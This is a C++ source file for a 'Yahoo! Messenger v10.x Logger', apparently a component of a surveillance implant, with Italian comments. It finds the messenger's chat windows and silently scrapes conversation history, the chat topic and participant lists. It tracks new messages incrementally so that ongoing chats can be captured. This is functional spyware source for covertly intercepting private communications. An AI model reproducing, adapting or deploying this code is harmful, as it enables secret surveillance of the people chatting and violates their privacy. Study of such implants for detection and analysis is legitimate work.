HM_IMAgent/QYim10.cpp
/*
* Yahoo! Messenger v10.x Logger
*
* Coded by: Quequero
* Date: 15/Dec/2009
*
*/
#include <exception>
#include <new>
#include <stdio.h>
using namespace std;
#include "QYim10.h"
#include "..\HM_SafeProcedures.h"
#include "..\common.h"
#define MIN_SEARCH_LENGTH 200
PWCHAR QYim10::wChatTree[] = {
L"CConvWndBase",
L"YHTMLContainer",
L"Internet Explorer_Server",
0
};
PWCHAR QYim10::wChatUserListTree[] = {
L"YTopWindow",
L"YSearchMenuWndClass",
L"CMerlinWndBase",
L"SysListView32",
0
};
QYim10::QYim10(HWND hw) : QYim8(hw)
{
WCHAR wTopic[256];
pwConv = NULL;
hwChat = ole.GetHandleFromClass(wChatTree);
hwUserList = ole.GetHandleFromClass(wChatUserListTree);
if(HM_SafeGetWindowTextW(hw, wTopic, 256))
properties.SetId(wTopic);
else
properties.SetId(L"");
}
QYim10::~QYim10()
{
if(pwConv){
delete[] pwConv;
pwConv = NULL;
}
}
BOOL QYim10::GrabHistory()
{
//LONG uLines, uIndex, i;
BSTR bChat = NULL;
PWCHAR wTmp = NULL, wRes = NULL, wOld = NULL;
UINT uCount = 0;
if(!FNC(IsWindow)(ole.GetHandle()))
return FALSE;
if(hwChat == NULL)
return FALSE;
ole.SetHandle(hwChat);
if(bFirstGrab){
properties.ClearHistory();
if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(FixString(bChat) == FALSE){
SAFE_SYSFREESTR(bChat);
return FALSE;
}
wprintf(L"%s\n", pwConv);
properties.SetHistory(pwConv);
properties.SetUpdated(TRUE);
SAFE_SYSFREESTR(bChat);
bChat = NULL;
bFirstGrab = FALSE;
ole.Clean();
return TRUE;
}
// Se siamo qui, non e' il primo grab
// Tronca la history se e' gia' stata acquisita
if(properties.GetAcquiredStatus()){
properties.TruncateHistory();
// Acquisiamo il contenuto della finestra
if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
ole.Clean();
return FALSE;
}
if(FixString(bChat) == FALSE){
SAFE_SYSFREESTR(bChat);
return FALSE;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
// Cerchiamo dove si trova l'ultima parte acquisita
wRes = properties.wcsrstr(pwConv, properties.GetHistory());
// YIM 10 aggiunge delle righe alla history se la chat viene ricevuta
// percio' epuriamo il log eliminando una alla volta alcune righe
for (UINT i = 0; i < 5 && wRes == NULL; i++) {
wRes = properties.wcsrstr(properties.GetHistory(), L"\n");
if (wRes)
*wRes = 0;
wRes = properties.wcsrstr(pwConv, properties.GetHistory());
}
if(wRes == NULL){
properties.SetUpdated(FALSE);
} else if(wRes == properties.GetHistory()){
properties.SetUpdated(FALSE);
}else{
uCount = properties.GetHistoryLength();
if(wcslen(wRes) == uCount){
properties.SetUpdated(FALSE);
}else{
properties.ClearHistory();
properties.SetHistory(wRes + uCount);
properties.SetUpdated(TRUE);
}
}
}else{ // Parti dall'ultima riga e confronta
// Acquisiamo il contenuto della finestra
if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
ole.Clean();
return FALSE;
}
// Cerca l'ultima riga della chat che abbiamo nella nostra history
uCount = properties.GetHistoryLength();
wTmp = properties.GetHistory();
if(uCount > MIN_SEARCH_LENGTH)
wTmp += uCount - MIN_SEARCH_LENGTH;
if(!wcslen(bChat)){
SAFE_SYSFREESTR(bChat);
ole.Clean();
return TRUE;
}
uCount = wcslen(bChat);
if(FixString(bChat) == FALSE){
SAFE_SYSFREESTR(bChat);
return FALSE;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
// Cerchiamo dove si trova l'ultima parte acquisita
wOld = properties.wcsrstr(pwConv, properties.GetHistory());
// Cerchiamo dove si trova l'ultima parte acquisita
wTmp = wcsstr(pwConv, wOld);
if(!wcsncmp(wTmp, properties.GetHistory(), uCount)){
properties.SetUpdated(FALSE);
}else{
properties.AppendHistory(wTmp + uCount);
properties.SetUpdated(TRUE);
}
}
if(bChat)
SAFE_SYSFREESTR(bChat);
ole.Clean();
return TRUE;
/*
if(ole.SetInterface() == FALSE){
ole.Clean();
return FALSE;
}
if(ole.SetYimRecursiveInterface() == FALSE){
ole.Clean();
return FALSE;
}
uIndex = uLines = ole.RecursiveTypeCountFromYi(NULL, ROLE_SYSTEM_TEXT);
if(uLines == -1 || uLines == 0){
ole.Clean();
return FALSE;
}
//
//if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, uLines - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
// SAFE_SYSFREESTR(bChat);
// properties.SetUpdated(FALSE);
// ole.Clean();
// return FALSE;
//}
//SAFE_SYSFREESTR(bChat);
//
// A volte... Casualmente a quanto pare, YIM accoda alla lista una
// riga vuota contenente solo uno spazio... Se lo troviamo facciamo
// in modo di skipparlo.
for(i = uIndex; i > 0 ; i--){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(wcslen(bChat) == 1 && (!wcsncmp(bChat, L" ", 1) || bChat[0] == 0xA0))
uLines--;
else
break;
SAFE_SYSFREESTR(bChat);
bChat = NULL;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
uIndex = uLines;
if(uLines < 1){
ole.Clean();
return FALSE;
}
// Se e' il primo grab di questo oggetto, prendi solo l'ultima
// riga, in questo modo skippiamo tutta la history precedente.
if(bFirstGrab){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, uIndex - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
bChat = NULL;
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(properties.SetHistory(bChat)){
properties.SetUpdated(TRUE);
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
bFirstGrab = FALSE;
ole.Clean();
return TRUE;
}
// Se siamo qui, non e' il primo grab
// Pulisci la history se e' gia' stata acquisita
if(properties.GetAcquiredStatus()){
properties.CleanHistory();
// Cerca l'ultima riga della chat che abbiamo nella nostra history
for(i = uLines; i > 0; i--){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
bChat = NULL;
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(properties.CompareLastLine(bChat)){
uIndex = i;
break;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
// Se c'e' qualche riga da acquisire, possiamo cancellare la history
if(uIndex < uLines)
properties.ClearHistory();
// Se i e' uguale a uLines, non ci sono nuove righe, quindi torniamo
for(i = uIndex; i < uLines; i++){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
bChat = NULL;
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(properties.AppendHistory(bChat))
properties.SetUpdated(TRUE);
SAFE_SYSFREESTR(bChat);
bChat = NULL;
}
}else{ // Parti dall'ultima riga e confronta
// Cerca l'ultima riga della chat che abbiamo nella nostra history
for(i = uLines; i > 0; i--){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
bChat = NULL;
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(properties.CompareLastLine(bChat)){
uIndex = i;
break;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
}
SAFE_SYSFREESTR(bChat);
bChat = NULL;
// Se i e' uguale a uLines, non ci sono nuove righe, quindi torniamo
for(i = uIndex; i < uLines; i++){
if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
SAFE_SYSFREESTR(bChat);
bChat = NULL;
properties.SetUpdated(FALSE);
ole.Clean();
return FALSE;
}
if(properties.AppendHistory(bChat))
properties.SetUpdated(TRUE);
SAFE_SYSFREESTR(bChat);
bChat = NULL;
}
}
ole.Clean();
return TRUE;
*/
}
BOOL QYim10::GrabTopic()
{
WCHAR wTopic[256] = {0};
ole.SetHandle(hwMain);
if(HM_SafeGetWindowTextW(ole.GetHandle(), wTopic, 256))
properties.SetId(wTopic);
else
properties.SetId(L"");
return TRUE;
}
/**
* Prende l'elenco dei partecipanti e lo mette nelle proprieta'.
*/
BOOL QYim10::GrabUserList()
{
UINT uLen, i;
BSTR bUser = NULL;
BOOL bRes;
WCHAR wTopic[256] = {0}, wUser[256] = {0};
PWCHAR pwMark;
properties.ClearUsersList();
if(hwUserList == NULL)
hwUserList = ole.GetHandleFromClass(wChatUserListTree);
// Se non c'e' il pannellino laterale, prova ad estrarre l'username
// del nostro interlocutore dal titolo della finestra
if(hwUserList == NULL){
if(HM_SafeGetWindowTextW(hwMain, wTopic, 256)) {
pwMark = wcsstr(wTopic, L" --");
if(pwMark){
wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic));
properties.AppendUser(wUser, FALSE);
return TRUE;
}
pwMark = wcsstr(wTopic, L" -");
if(pwMark){
wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic));
properties.AppendUser(wUser, FALSE);
return TRUE;
}else{
pwMark = wcsstr(wTopic, L") - ");
if(pwMark){
wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic + 1));
properties.AppendUser(wUser, FALSE);
return TRUE;
}
}
}else{
return FALSE;
}
}
ole.SetHandle(hwUserList);
if(ole.SetYimUserListInterface(hwUserList) == FALSE){
ole.Clean();
return FALSE;
}
uLen = ole.GetYimTypeCount(ROLE_SYSTEM_LISTITEM);
for(i = 0; i < uLen; i++){
if(ole.GetYimSpecificLineFromContainer(NULL, &bUser, i, ROLE_SYSTEM_LISTITEM) == FALSE || bUser == NULL){
if(i < uLen - 1)
bRes = properties.AppendUser(L"", TRUE);
else
bRes = properties.AppendUser(L"", FALSE);
continue;
}
if(i < uLen - 1)
bRes = properties.AppendUser(bUser, TRUE);
else
bRes = properties.AppendUser(bUser, FALSE);
SAFE_SYSFREESTR(bUser);
bUser = NULL;
if(bRes == FALSE){
ole.Clean();
return FALSE;
}
}
ole.Clean();
return TRUE;
}
BOOL QYim10::FixString(PWCHAR bChat)
{
UINT uCount, i, j;
if(pwConv){
delete[] pwConv;
pwConv = NULL;
}
if(bChat == NULL || wcslen(bChat) == 0)
return FALSE;
uCount = wcslen(bChat);
pwConv = new(std::nothrow) WCHAR[uCount + 1];
if(pwConv == NULL)
return FALSE;
memset(pwConv, 0x00, sizeof(WCHAR) * (uCount + 1));
// YIM accoda alla fine di un messaggio la sequenza "\r\n ", ma
// solo se non si tratta di una conferenza...
while(!wcsncmp(&bChat[uCount - 3], L"\r\n ", 3)){
uCount -=3;
};
//memset(&pwConv[uCount - 3], 0x00, sizeof(WCHAR) * 3);
for(i = 0, j = 0; i < uCount; i++){
if(bChat[i] != '\r'){
pwConv[j] = bChat[i];
j++;
}
}
uCount = j - 1;
while(pwConv[uCount] == '\n'){
uCount--;
}
pwConv[uCount + 1] = 0;
return TRUE;
}